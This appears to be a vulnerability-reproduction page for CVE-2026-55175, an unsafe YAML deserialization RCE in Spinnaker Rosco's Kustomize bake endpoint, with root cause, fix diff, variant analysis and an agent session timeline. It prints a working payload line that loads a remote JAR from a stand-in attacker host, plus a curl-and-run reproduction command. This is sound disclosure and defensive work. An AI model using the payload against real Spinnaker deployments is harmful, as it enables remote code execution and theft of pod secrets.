Skip to content

CVE-2026-55175: Verified Repro With Script Download

CVE-2026-55175: Spinnaker Kustomize bake unsafe YAML tag processing leading to RCE

CVE-2026-55175 is verified against spinnaker/spinnaker · github. Affected versions: <2026.1.1, <2026.0.3, <2025.4.4, <2025.3.4. Vulnerability class: RCE. This high reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00289.

REPRO-2026-00289 spinnaker/spinnaker · github RCE Variant found Known vulnerability Jul 15, 2026 CVE entry ↗ .txt
Severity
HIGH
CVSS
7.5
Confidence
HIGH
Reproduced in
15m 51s
Tool calls
149
Spend
$2.10
01 · Overview

What Is CVE-2026-55175?

CVE-2026-55175 is a high-severity remote code execution vulnerability in Spinnaker's Rosco service via unsafe YAML tag processing during Kustomize manifest bakes. A remote Kustomize bake request can run attacker-controlled Java code on Rosco pods. Pruva reproduced it (reproduction REPRO-2026-00289).

02 · Severity & CVSS

CVE-2026-55175 Severity & CVSS Score

CVE-2026-55175 is rated high severity, with a CVSS base score of 7.5 out of 10.

HIGH threat level
7.5 / 10 CVSS base
Weakness CWE-502 — Deserialization of Untrusted Data

High — serious impact or readily exploitable. Prioritize remediation.

03 · Affected Versions

Affected spinnaker/spinnaker Versions

spinnaker/spinnaker · github versions <2026.1.1, <2026.0.3, <2025.4.4, <2025.3.4 are affected.

How to Reproduce CVE-2026-55175

$ pruva-verify REPRO-2026-00289
or curl -O https://pruva.dev/api/v1/reproductions/REPRO-2026-00289/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh
Run in a VM or disposable container. This exploits a real vulnerability.
06 · Proof of Reproduction

Proof of Reproduction for CVE-2026-55175

Remote code execution — reproduced
  • reached the target end-to-end
  • full exploit chain demonstrated
  • on the real production code path
  • high confidence
  • the upstream fix blocks the same trigger
Trigger

malicious kustomization.yaml served as Rosco Kustomize bake input artifact

Attack chain
  1. POST /api/v2/manifest/bake/KUSTOMIZE
  2. KustomizationFileReader.convert
Runnable proof: reproduction_steps.sh
Captured evidence: vulnerable attempt 1vulnerable attempt 2fixed attempt 1fixed attempt 2vulnerable attempt 1fixed attempt 1
Variants tested

KUSTOMIZE4 sibling bake endpoint (POST /api/v2/manifest/bake/KUSTOMIZE4) is an alternate entry point to the same KustomizationFileReader.convert() unsafe-YAML-tag sink. Reproduced RCE on the vulnerable version; the SafeConstructor fix covers this path (no bypass).

How the agent worked 370 events · 149 tool calls · 16 min
16 minDuration
149Tool calls
119Reasoning steps
370Events
4Dead-ends
Agent activity over 16 min
Support
18
Repro
112
Judge
97
Variant
138
Verify
1
0:0015:51

Root Cause and Exploit Chain for CVE-2026-55175

Versions: Advisory-listed affected ranges are Spinnaker/Rosco versions prior to 2026.1.1, 2026.0.3, 2025.4.4, and 2025.3.4 on their respective release lines. The reproduction anchors the vulnerable build to f5cec213f8cf207843ed5a6929395960a1ca094f^ (d7d131a1b1fcb831256034f1e8d023f6e9dc4fc3) and the fixed build to f5cec213f8cf207843ed5a6929395960a1ca094f.

CVE-2026-55175 is an unsafe YAML tag processing vulnerability in Spinnaker Rosco's Kustomize manifest bake path. In vulnerable Rosco builds, a remote Kustomize bake request sent to POST /api/v2/manifest/bake/KUSTOMIZE causes Rosco to fetch an attacker-controlled kustomization.yaml artifact from Clouddriver and parse it with SnakeYAML's general Constructor(Kustomization.class). That constructor honors arbitrary YAML tags, allowing attacker-controlled Java object construction during YAML deserialization. The reproduction demonstrates this by loading a !!javax.script.ScriptEngineManager payload from an attacker-controlled URLClassLoader and writing an execution marker from the Rosco JVM, proving remote code execution.

  • Package/component affected: Spinnaker Rosco, specifically io.spinnaker.rosco:rosco-manifests and the Kustomize manifest bake flow exposed through rosco-web.
  • Affected versions: Advisory-listed affected ranges are Spinnaker/Rosco versions prior to 2026.1.1, 2026.0.3, 2025.4.4, and 2025.3.4 on their respective release lines. The reproduction anchors the vulnerable build to f5cec213f8cf207843ed5a6929395960a1ca094f^ (d7d131a1b1fcb831256034f1e8d023f6e9dc4fc3) and the fixed build to f5cec213f8cf207843ed5a6929395960a1ca094f.
  • Risk level and consequences: High. An authenticated/authorized actor able to perform Kustomize bakes can cause code to execute inside Rosco pods. This can compromise the Rosco service account context, secrets reachable by the Rosco pod, and the integrity of generated deployment manifests.

Impact Parity

  • Disclosed/claimed maximum impact: Remote code execution on Rosco pods during Kustomize bake operations.
  • Reproduced impact from this run: Code execution in the Rosco JVM after an HTTP request to the real Rosco Kustomize bake endpoint. The payload is an attacker-controlled ScriptEngineFactory loaded from a URL in an unsafe YAML tag; its constructor writes a marker file proving execution.
  • Parity: full
  • Not demonstrated: N/A — the full RCE chain was demonstrated end-to-end through the real HTTP endpoint.

Root Cause

The vulnerable code in KustomizationFileReader.convert() uses SnakeYAML's Constructor(Kustomization.class) which extends SafeConstructor but overrides getClassForName() to allow instantiation of arbitrary Java classes via YAML tags. When processing an attacker-controlled kustomization.yaml fetched from Clouddriver, the YAML content:

resources:
  - !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://attacker/payload.jar"]]]]

causes SnakeYAML to:

  1. Create a java.net.URL pointing to the attacker's payload JAR
  2. Create a java.net.URLClassLoader loading from that URL
  3. Construct a javax.script.ScriptEngineManager which scans the classloader's META-INF/services/javax.script.ScriptEngineFactory entries
  4. Instantiate the attacker's ScriptEngineFactory implementation, executing arbitrary code in the constructor

The fix (commit f5cec213f8cf207843ed5a6929395960a1ca094f) replaces Constructor with SafeConstructor which only produces standard types (Map, List, String), then uses Jackson ObjectMapper.convertValue() to map the safe raw map to the Kustomization POJO. SafeConstructor does not honor arbitrary YAML tags, preventing the object instantiation attack.

Fix commit: f5cec213f8cf207843ed5a6929395960a1ca094f

Key diff:

-    Representer representer = new Representer();
-    representer.getPropertyUtils().setSkipMissingProperties(true);
-    return new Yaml(new Constructor(Kustomization.class), representer).load(downloadFile(artifact));
+    Yaml yaml = new Yaml(new SafeConstructor(new LoaderOptions()));
+    Map<String, Object> rawMap = yaml.load(downloadFile(artifact));
+    return objectMapper.convertValue(rawMap, Kustomization.class);

Reproduction Steps

  1. Script: bundle/repro/reproduction_steps.sh
  2. What the script does:
    • Installs OpenJDK 17 if not present
    • Reuses the prepared Spinnaker repository from the project cache (or clones from GitHub/mirror)
    • Checks out the vulnerable commit (d7d131a1b1fcb831256034f1e8d023f6e9dc4fc3, parent of the fix)
    • Writes a Spring Boot integration test (CVE202655175ApiRemoteReproTest.java) that:
      • Starts a real Rosco Spring Boot HTTP server on a random port via @SpringBootTest(webEnvironment = RANDOM_PORT)
      • Stands up a WireMock Clouddriver peer that serves a malicious kustomization.yaml with !!javax.script.ScriptEngineManager YAML tag
      • Builds a payload JAR containing a ScriptEngineFactory that writes a marker file on instantiation
      • Sends a real HTTP POST to http://127.0.0.1:<port>/api/v2/manifest/bake/KUSTOMIZE with a Kustomize bake request referencing the attacker artifact
      • Asserts that the payload marker file was created (proving code execution in the Rosco JVM)
    • Runs the test twice on the vulnerable commit (expecting payloadExecuted=true)
    • Checks out the fixed commit and runs the test twice (expecting payloadExecuted=false and HTTP error status)
    • Verifies all four evidence markers match expectations
  3. Expected evidence:
    • Vulnerable attempts: clouddriverReached=true, payloadExecuted=true (RCE confirmed)
    • Fixed attempts: clouddriverReached=true, payloadExecuted=false, HTTP status >= 400 (fix confirmed)

Evidence

  • Log files:
    • bundle/logs/reproduction_steps.log — full script output
    • bundle/logs/vulnerable_attempt_1.log — first vulnerable Gradle test run
    • bundle/logs/vulnerable_attempt_2.log — second vulnerable Gradle test run
    • bundle/logs/fixed_attempt_1.log — first fixed Gradle test run
    • bundle/logs/fixed_attempt_2.log — second fixed Gradle test run
  • Evidence markers:
    • bundle/repro/vulnerable_attempt_1.evidence.txt
    • bundle/repro/vulnerable_attempt_2.evidence.txt
    • bundle/repro/fixed_attempt_1.evidence.txt
    • bundle/repro/fixed_attempt_2.evidence.txt
  • Key evidence excerpts (from vulnerable runs):
    mode=vulnerable
    clouddriverReached=true
    payloadExecuted=true
    
  • Key evidence excerpts (from fixed runs):
    mode=fixed
    clouddriverReached=true
    payloadExecuted=false
    
  • Environment: OpenJDK 17, Gradle 7.6.1, Spinnaker monorepo at vulnerable/fixed commits, Spring Boot test HTTP server, WireMock Clouddriver artifact peer

Recommendations / Next Steps

  • Upgrade guidance: Upgrade Spinnaker/Rosco to version 2026.1.1, 2026.0.3, 2025.4.4, or 2025.3.4 or later, which contain the SafeConstructor fix.
  • Suggested fix approach: The applied fix is correct — replacing Constructor with SafeConstructor and using Jackson for POJO mapping. Additionally, consider enabling SnakeYAML's LoaderOptions.setAllowDuplicateKeys(false) and limiting tag processing via setAllowRecursiveKeys(false) as defense-in-depth.
  • Testing recommendations: Add integration tests that send malicious YAML tags through the Kustomize bake endpoint to verify they are rejected. Consider adding SnakeYAML SafeConstructor usage as a code style requirement across all YAML parsing in Spinnaker services.

Additional Notes

  • Idempotency: The script is idempotent — it checks out specific commits, writes fresh test files, and cleans up evidence markers before each attempt. Running it multiple times produces the same results.
  • Surface validation: The reproduction exercises the real api_remote surface — a real Spring Boot HTTP endpoint accepting a real POST request to /api/v2/manifest/bake/KUSTOMIZE, with the Rosco service fetching the malicious artifact from a mock Clouddriver peer. This is the production path, not a library-level harness.
  • Negative control: The fixed commit (f5cec213f8cf207843ed5a6929395960a1ca094f) is tested with the same payload and correctly rejects the unsafe YAML tag without executing the payload, confirming the fix.

Variant Analysis & Alternative Triggers for CVE-2026-55175

Versions: versions (as tested): vulnerable d7d131a1b1fcb831256034f1e8d023f6e9dc4fc3

CVE-2026-55175 is an unsafe YAML tag processing RCE in Spinnaker Rosco's Kustomize bake path. The original reproduction proved RCE via POST /api/v2/manifest/bake/KUSTOMIZE. This variant analysis evaluated the sibling entry point POST /api/v2/manifest/bake/KUSTOMIZE4, which is dispatched by the same V2BakeryController to KustomizeBakeManifestService (its handles() set accepts both KUSTOMIZE and KUSTOMIZE4) and reaches the same sink KustomizationFileReader.convert(). The KUSTOMIZE4 variant was confirmed as a real alternate trigger of the same root cause on the vulnerable build (payloadExecuted=true), and was confirmed blocked by the existing SafeConstructor fix on the fixed build (payloadExecuted=false, HTTP 400). No bypass was found. The fix addresses the root cause at the shared sink, so it covers both the KUSTOMIZE and KUSTOMIZE4 dispatch paths.

Fix Coverage / Assumptions

  • Invariant the fix relies on: all attacker-controlled kustomization.yaml parsing flows through a single sink, KustomizationFileReader.convert(), which the fix rewrites to use SafeConstructor + Jackson ObjectMapper.convertValue() instead of Constructor(Kustomization.class).
  • Code paths explicitly covered: POST /api/v2/manifest/bake/KUSTOMIZE, POST /api/v2/manifest/bake/KUSTOMIZE4, and the recursive nested-kustomization path in KustomizeTemplateUtils.getFilesFromArtifact (each nested file is parsed via getKustomizationconvert()).
  • What the fix does NOT cover: the git/repo artifact bake path (KustomizeTemplateUtils.buildBakeRecipeFromGitRepo) does not invoke kustomizationFileReader.getKustomization() at all — it downloads a tarball and runs the kustomize binary. There is no Java SnakeYAML sink on that path, so it is not a gap for the YAML-tag RCE class. No other Constructor(<class>) usage exists in rosco-manifests (CloudFoundryBakeManifestService uses new Yaml(), i.e. the default SafeConstructor).

Variant / Alternate Trigger

Entry point: POST /api/v2/manifest/bake/KUSTOMIZE4 with request body {"templateRenderer":"KUSTOMIZE4", "inputArtifact":{"type":"github/file", ...}}.

Code path:

  1. V2BakeryController.doBake("KUSTOMIZE4", request)rosco-web/.../V2BakeryController.java
  2. KustomizeBakeManifestService.handles("KUSTOMIZE4") → true (supportedTemplates = {KUSTOMIZE, KUSTOMIZE4})
  3. KustomizeBakeManifestService.bake(...)KustomizeTemplateUtils.buildBakeRecipe(...)
  4. oldBuildBakeRecipe (artifact type github/file, not git/repo) → getArtifactsgetFilesFromArtifact
  5. KustomizationFileReader.getKustomization(...)convert(artifact)shared sink
  6. Vulnerable: new Yaml(new Constructor(Kustomization.class), representer).load(...)!!javax.script.ScriptEngineManager tag honored → ScriptEngineFactory loaded from attacker URLClassLoader → constructor runs → RCE. Fixed: new Yaml(new SafeConstructor(...)).load(...) rejects the tag → convertValue never sees it → HTTP 400.

This is materially different from the parent only in the entry point (different {type} path variable and templateRenderer value); it reaches the identical sink and crosses the same trust boundary (authenticated API caller → Rosco pod). Because the fix is applied at the shared sink, it is not a bypass.

Other candidates considered and ruled out
Candidate Reaches SnakeYAML sink? Same root cause? Verdict
KUSTOMIZE4 endpoint Yes, same convert() Yes Alternate trigger; covered by fix (tested).
Recursive nested kustomization refs (resources → subfolder) Yes, same convert() per nested file Yes Alternate data path; covered by fix (same sink).
git/repo artifact bake No (no getKustomization call) No Out of scope for YAML-tag RCE class.
CloudFoundryBakeManifestService new Yaml().load() Uses default SafeConstructor No Safe by default; not the same root cause.
Jackson convertValue polymorphic instantiation ObjectMapper has default typing off; Kustomization has no @JsonTypeInfo No Not exploitable.
  • Package/component affected: Spinnaker Rosco — io.spinnaker.rosco:rosco-manifests / rosco-web, Kustomize bake flow.
  • Affected versions (as tested): vulnerable d7d131a1b1fcb831256034f1e8d023f6e9dc4fc3 (parent of fix); fixed f5cec213f8cf207843ed5a6929395960a1ca094f. Advisory-listed affected ranges: prior to 2026.1.1 / 2026.0.3 / 2025.4.4 / 2025.3.4.
  • Risk level: High — authenticated actor able to perform Kustomize/KUSTOMIZE4 bakes can execute arbitrary code inside Rosco pods on vulnerable builds.

Impact Parity

  • Disclosed/claimed maximum impact: RCE on Rosco pods during Kustomize bake operations.
  • Reproduced impact from this variant run: On the vulnerable build, the KUSTOMIZE4 endpoint instantiated the attacker ScriptEngineFactory from a URLClassLoader and its constructor executed (marker file written), proving RCE via the alternate entry point (payloadExecuted=true, HTTP 500 ClassCastException after the payload ran). On the fixed build the same payload was rejected without execution (payloadExecuted=false, HTTP 400).
  • Parity: full for the alternate-trigger demonstration on the vulnerable version; none for bypass (the fixed version blocks it).
  • Not demonstrated: A bypass of the fix — the fix covers the KUSTOMIZE4 path.

Root Cause

The underlying bug is that untrusted kustomization.yaml was parsed with SnakeYAML's general Constructor(Kustomization.class), which honors arbitrary YAML tags and instantiates the referenced Java objects. KUSTOMIZE and KUSTOMIZE4 are two HTTP dispatch labels for the same KustomizeBakeManifestService; both converge on KustomizationFileReader.convert(). The fix (commit f5cec213f8cf207843ed5a6929395960a1ca094f) replaces the unsafe Constructor with SafeConstructor and maps the safe Map to the POJO via Jackson convertValue. Because the fix is at the shared sink, every entry point that reaches convert() — including KUSTOMIZE4 — is protected.

Reproduction Steps

  1. Script: bundle/vuln_variant/reproduction_steps.sh
  2. What the script does:
    • Reuses the prepared Spinnaker repository from the project cache.
    • Resolves the vulnerable parent commit d7d131a1b1fcb831256034f1e8d023f6e9dc4fc3 and the fixed commit f5cec213f8cf207843ed5a6929395960a1ca094f.
    • Writes a Spring Boot integration test CVE202655175VariantKustomize4Test.java that starts a real Rosco HTTP server, stands up a WireMock Clouddriver peer serving a malicious kustomization.yaml with a !!javax.script.ScriptEngineManager tag, builds a payload JAR whose ScriptEngineFactory constructor writes a marker file, and sends a real HTTP POST to /api/v2/manifest/bake/KUSTOMIZE4 with templateRenderer=KUSTOMIZE4.
    • Runs the test on the vulnerable commit (expects payloadExecuted=true), then on the fixed commit (expects payloadExecuted=false, HTTP 400).
    • Restores the repository to its original HEAD and removes the temporary test file.
    • Exit 0 = bypass (variant reproduces on fixed); Exit 1 = no bypass.
  3. Expected evidence:
    • bundle/vuln_variant/vulnerable_attempt_1.evidence.txt: payloadExecuted=true, clouddriverReached=true, HTTP 500 ClassCastException.
    • bundle/vuln_variant/fixed_attempt_1.evidence.txt: payloadExecuted=false, clouddriverReached=true, HTTP 400.
    • bundle/vuln_variant/validation_verdict.json: is_bypass=false, reproduced_on_vulnerable=true, reproduced_on_fixed=false.

Evidence

  • Logs: bundle/logs/vuln_variant/reproduction_steps.log, bundle/logs/vuln_variant/vulnerable_attempt_1.log, bundle/logs/vuln_variant/fixed_attempt_1.log.

  • Evidence files: bundle/vuln_variant/vulnerable_attempt_1.evidence.txt, bundle/vuln_variant/fixed_attempt_1.evidence.txt (and .payload marker).

  • Key excerpts:

    Vulnerable (KUSTOMIZE4):

    mode=vulnerable
    renderer=KUSTOMIZE4
    endpoint=/api/v2/manifest/bake/KUSTOMIZE4
    status=500
    clouddriverReached=true
    payloadExecuted=true
    body=...java.lang.ClassCastException: class javax.script.ScriptEngineManager cannot be cast to class java.lang.String...
    

    Fixed (KUSTOMIZE4):

    mode=fixed
    renderer=KUSTOMIZE4
    endpoint=/api/v2/manifest/bake/KUSTOMIZE4
    status=400
    clouddriverReached=true
    payloadExecuted=false
    body=...Unable to find any kustomization file for root...
    
  • Environment: OpenJDK 17.0.19, Gradle 7.6.1 (--no-daemon --max-workers=2 --rerun-tasks), Spring Boot test RANDOM_PORT, WireMock Clouddriver peer.

  • Tested source identity: bundle/vuln_variant/source_identity.json (fixed commit f5cec213f8cf207843ed5a6929395960a1ca094f, vulnerable d7d131a1b1fcb831256034f1e8d023f6e9dc4fc3).

Recommendations / Next Steps

  • No code change required. The existing SafeConstructor fix already covers the KUSTOMIZE4 dispatch path because the fix is at the shared KustomizationFileReader.convert() sink.
  • Defense in depth (optional): Add an explicit regression test asserting that the KUSTOMIZE4 endpoint rejects a !!-tagged kustomization.yaml (the existing KustomizeSafeConstructorTest covers convert() directly but not the KUSTOMIZE4 HTTP dispatch). This variant test (CVE202655175VariantKustomize4Test) can serve as that regression.
  • Ensure future bake renderers that parse untrusted YAML reuse the SafeConstructor pattern rather than Constructor(<class>), and avoid introducing @JsonTypeInfo/default typing on ObjectMapper instances used to map untrusted maps.

Additional Notes

  • Idempotency: The script was run twice; both runs produced identical evidence (vulnerable payloadExecuted=true, fixed payloadExecuted=false, exit 1) and restored the repository to its original HEAD (f5cec213f8cf207843ed5a6929395960a1ca094f) with the temporary test file removed.
  • Repo state: No checkout state was left changed; the shared project-cache repo is back on the fixed commit, matching the state used by the repro stage.
  • Trust boundary: The KUSTOMIZE4 endpoint is an authenticated HTTP API on the Rosco pod; an authorized caller supplying a github/file input artifact crosses the network trust boundary into the Rosco JVM. No SECURITY.md excluding this attack class was found in the repository.
  • Limitation: Only the KUSTOMIZE4 alternate entry point was exercised at runtime. The recursive-nested-kustomization and CloudFoundryBakeManifestService candidates were ruled out by source inspection (same shared sink / safe-by-default) as documented above; additional runtime attempts would re-exercise the identical convert() sink and not change the verdict.

CVE-2026-55175 Reproduction Transcript

The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired. Phases: support · claim contract · reproduction · judge · variant analysis

Full session Replay every step — scrub the timeline or play it back.

Event 1/40
0:000:44
0:00
session startedaccounts/fireworks/routers/glm-5p2-fast · CVE-2026-55175 · REPRO-20
0:02
0:04
web search
0:06
web search
0:09
0:18
0:20
web search
0:23
0:25
web search
0:25
0:37
0:37
extract_facts
no facts extracted
0:38
0:38
0:38
supportrepro
0:40
0:40
0:40
0:40
0:41
0:41
0:41
0:41
error

Unknown error

0:42
0:42
0:42
0:43
0:43
0:43
0:44
08 · How to Fix

How to Fix CVE-2026-55175

Coming soon

Step-by-step mitigation and hardening guidance for CVE-2026-55175 — configuration checks, workarounds where no patch exists, and how to verify you're protected — is on the way.

10 · FAQ

FAQ: CVE-2026-55175

How was CVE-2026-55175 proven to reach code execution?

The reproduction loads a !!javax.script.ScriptEngineManager payload from an attacker-controlled URLClassLoader and writes an execution marker from the Rosco JVM — demonstrating arbitrary code execution, not just unsafe parsing.

Which Spinnaker versions are affected by CVE-2026-55175?

Spinnaker/Rosco versions before 2026.1.1, 2026.0.3, 2025.4.4, and 2025.3.4 are affected (io.spinnaker.rosco:rosco-manifests, via the rosco-web Kustomize bake flow). Upgrade to the corresponding patched release for your line.

How severe is CVE-2026-55175?

It is rated high severity: a remote, unsafe-deserialization RCE reachable through the Kustomize bake API, executing as the Rosco JVM.

How can I reproduce CVE-2026-55175?

Download the verified script from this page and run it in an isolated environment against a vulnerable Rosco build. It submits a malicious kustomization.yaml through the bake endpoint and confirms code execution via an execution marker written from the Rosco JVM.
11 · References

References for CVE-2026-55175

Authoritative sources for CVE-2026-55175 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.